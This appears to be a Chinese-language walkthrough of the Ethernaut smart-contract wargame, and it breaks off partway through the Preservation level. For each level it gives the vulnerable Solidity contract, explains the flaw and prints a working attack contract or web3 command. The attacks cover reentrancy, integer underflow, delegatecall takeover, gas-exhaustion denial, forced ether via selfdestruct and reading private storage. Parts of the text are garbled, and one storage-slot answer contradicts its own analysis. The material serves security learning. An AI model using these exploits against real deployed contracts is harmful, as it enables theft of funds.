在Solidity中動(dòng)態(tài)數(shù)組內(nèi)變量的存儲(chǔ)位計(jì)算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個(gè)合約中,開(kāi)頭的slot為1,也就是他的長(zhǎng)度。(換句話說(shuō),數(shù)組中某個(gè)元素的slot = keccak(slot數(shù)組)+ index)

因此第一個(gè)元素位于slot keccak256(1) + 0,第二個(gè)元素位于slot keccak256(1) + 1,以此類推。

所以我們要計(jì)算的下標(biāo)就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實(shí)看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達(dá)到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個(gè)check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個(gè)check直接用合約交互即可。

第三個(gè)check實(shí)際上是個(gè)截?cái)鄦?wèn)題,也就是說(shuō)0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點(diǎn)在于第二個(gè)check,需要設(shè)定執(zhí)行到gatetwo時(shí)的gasleft % 8191 == 0。

達(dá)到這個(gè)有兩個(gè)方式,第一種方式是把原本題目合約扒下來(lái),放到debug測(cè)試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費(fèi)的gas并不相同,按照medium網(wǎng)站上說(shuō)的方式到etherscan上查了下合約信息,由于沒(méi)有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們?cè)赿ebug環(huán)境下算出了符合條件的gas,仍然不能保證會(huì)成功。

第二種方式就比較暴力,直接寫(xiě)一個(gè)for循環(huán),每次的gas都從一個(gè)值遞增1,這樣一定會(huì)遇到一個(gè)符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長(zhǎng)度不超過(guò)10的bytecode編寫(xiě)出一個(gè)合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個(gè)鏈接,說(shuō)的也比較詳細(xì):https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點(diǎn)是合約代碼的長(zhǎng)度是不會(huì)算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過(guò)三個(gè)檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個(gè)check就是部署個(gè)合約即可。

第三個(gè)利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個(gè)check比較有意思,是利用了assembler,不過(guò)含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長(zhǎng)度,需要使得其長(zhǎng)度為0。

這里在之前的magicnumber提到過(guò),合約代碼長(zhǎng)度不會(huì)算進(jìn)去構(gòu)造函數(shù)的長(zhǎng)度,所以將攻擊函數(shù)直接寫(xiě)進(jìn)構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會(huì)內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識(shí):

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標(biāo)是成為這個(gè)合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說(shuō)明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時(shí)候建立的,而sender這個(gè)全局變量代表的是當(dāng)前和合約交互的用戶。所以說(shuō),contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個(gè)receive函數(shù)怎么調(diào)用呢?

這個(gè)函數(shù)明顯長(zhǎng)得就和正常的函數(shù)不一樣,沒(méi)有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說(shuō),直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個(gè)合約直接轉(zhuǎn)帳時(shí),由于這個(gè)行為沒(méi)有發(fā)送任何數(shù)據(jù),所以接收合約總是會(huì)調(diào)用fallback函數(shù)。或者當(dāng)調(diào)用函數(shù)找不到時(shí)就會(huì)調(diào)用fallback函數(shù)。

那么這個(gè)fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫(xiě)法就不是這么寫(xiě)了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個(gè)關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來(lái)去調(diào)用。

每個(gè)合約最多有一個(gè)不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語(yǔ)句只有在通過(guò)外部地址往合約里轉(zhuǎn)賬的時(shí)候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會(huì)被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會(huì)被限定在 2300。

也就是說(shuō),只要向合約轉(zhuǎn)賬,就會(huì)執(zhí)行receive函數(shù)。具體來(lái)說(shuō),就是調(diào)用contract.sendTransaction({value : 1})。

所以說(shuō),要成為owner要經(jīng)過(guò)以下兩個(gè)步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問(wèn)題就是他這個(gè)構(gòu)造函數(shù)其實(shí)不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過(guò)關(guān)后,會(huì)出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對(duì)了就可以過(guò)關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進(jìn)行一個(gè)比對(duì)。這里,blocknumber指的是當(dāng)前交易的區(qū)塊編號(hào),并不是合約所處的區(qū)塊編號(hào)。由于一個(gè)塊內(nèi)交易數(shù)量很多,所以我們就可以通過(guò)布置一個(gè)合約,使其交易行為與驗(yàn)證的交易打包在一個(gè)塊中,這樣blockhash的值就可以提前算出來(lái),重復(fù)十次即可過(guò)關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識(shí)點(diǎn)就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當(dāng)前調(diào)用)

可以認(rèn)為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個(gè)合約A,我們調(diào)用這個(gè)合約A,而這個(gè)合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會(huì)小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個(gè)合約,第一個(gè)delegate里面有個(gè)pwn函數(shù),可以直接獲得owner。第二個(gè)合約delegation實(shí)例化了delegate,并且定義了fallback函數(shù),里面通過(guò)delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會(huì)使用call函數(shù)與合約進(jìn)行交互,對(duì)合約發(fā)送數(shù)據(jù),當(dāng)然,call是一個(gè)較底層的接口,我們經(jīng)常會(huì)把它封裝在其他函數(shù)里使用,不過(guò)性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過(guò)delegatecall調(diào)用的目標(biāo)地址的代碼要在當(dāng)前合約的環(huán)境中執(zhí)行,也就是說(shuō)它的函數(shù)執(zhí)行在被調(diào)用合約部分其實(shí)只用到了它的代碼,所以這個(gè)函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說(shuō),我們?cè)赿elegation里通過(guò)delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運(yùn)行的上下文其實(shí)是delegation的環(huán)境。也就是說(shuō),此時(shí)執(zhí)行pwn的話,owner其實(shí)是delegation的owner而不是delegate的owner。

抽象點(diǎn)理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當(dāng)你給call傳入的第一個(gè)參數(shù)是四個(gè)字節(jié)時(shí),那么合約就會(huì)默認(rèn)這四個(gè)字節(jié)就是你要調(diào)用的函數(shù),它會(huì)把這四個(gè)字節(jié)當(dāng)作函數(shù)的id來(lái)尋找調(diào)用函數(shù),而一個(gè)函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個(gè)bytes,函數(shù)前面就是帶有括號(hào)括起來(lái)的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒(méi)有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強(qiáng)制給一個(gè)合約發(fā)送eth的,不管它要不要它都得收下,這是通過(guò)selfdestruct函數(shù)來(lái)實(shí)現(xiàn)的,如它的名字所顯示的,這是一個(gè)自毀函數(shù),當(dāng)你調(diào)用它的時(shí)候,它會(huì)使該合約無(wú)效化并刪除該地址的字節(jié)碼,第二它會(huì)把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無(wú)視合約的fallback函數(shù),因?yàn)槲覀冎耙蔡岬搅水?dāng)合約直接收到一筆不知如何處理的eth時(shí)會(huì)觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無(wú)視這一點(diǎn)。

所以思路就是搞一個(gè)合約出來(lái),第二自毀,強(qiáng)制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來(lái)密碼被private保護(hù),不能被訪問(wèn)到,但是其實(shí)區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲(chǔ)的地方,就能訪問(wèn)到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個(gè)非常簡(jiǎn)單的游戲:誰(shuí)給它發(fā)送了比當(dāng)前獎(jiǎng)金還大的數(shù)量的以太,就成為新的國(guó)王。在這樣的**中,被推翻的國(guó)王獲得了新的獎(jiǎng)金,但是如果你提交的話那么合約就會(huì)回退,讓level重新成為國(guó)王,而我們的目標(biāo)就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說(shuō),如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會(huì)中止執(zhí)行,這樣transfer就不會(huì)成功,king也就不會(huì)更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個(gè)題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點(diǎn)在于withdraw函數(shù)。可以看到他是先調(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲(chǔ)的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因?yàn)樵摵瘮?shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因?yàn)閏all的參數(shù)是空,所以會(huì)調(diào)用攻擊合約的fallback函數(shù),我們?cè)趂allback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來(lái)。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒(méi)有實(shí)現(xiàn)building,需要我們自己定義。從程序的分析來(lái)看,top不可能為true。所以我們需要在實(shí)現(xiàn)building的時(shí)候搞點(diǎn)事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個(gè)vault一樣,只不過(guò)這次的data需要確**置。

根據(jù)32bytes一格的標(biāo)準(zhǔn),劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個(gè)ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個(gè)地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過(guò)將token余額置為0來(lái)完成此級(jí)別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒(méi)有完全重載完,所以說(shuō)可以直接調(diào)用ec20里面的函數(shù)進(jìn)行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
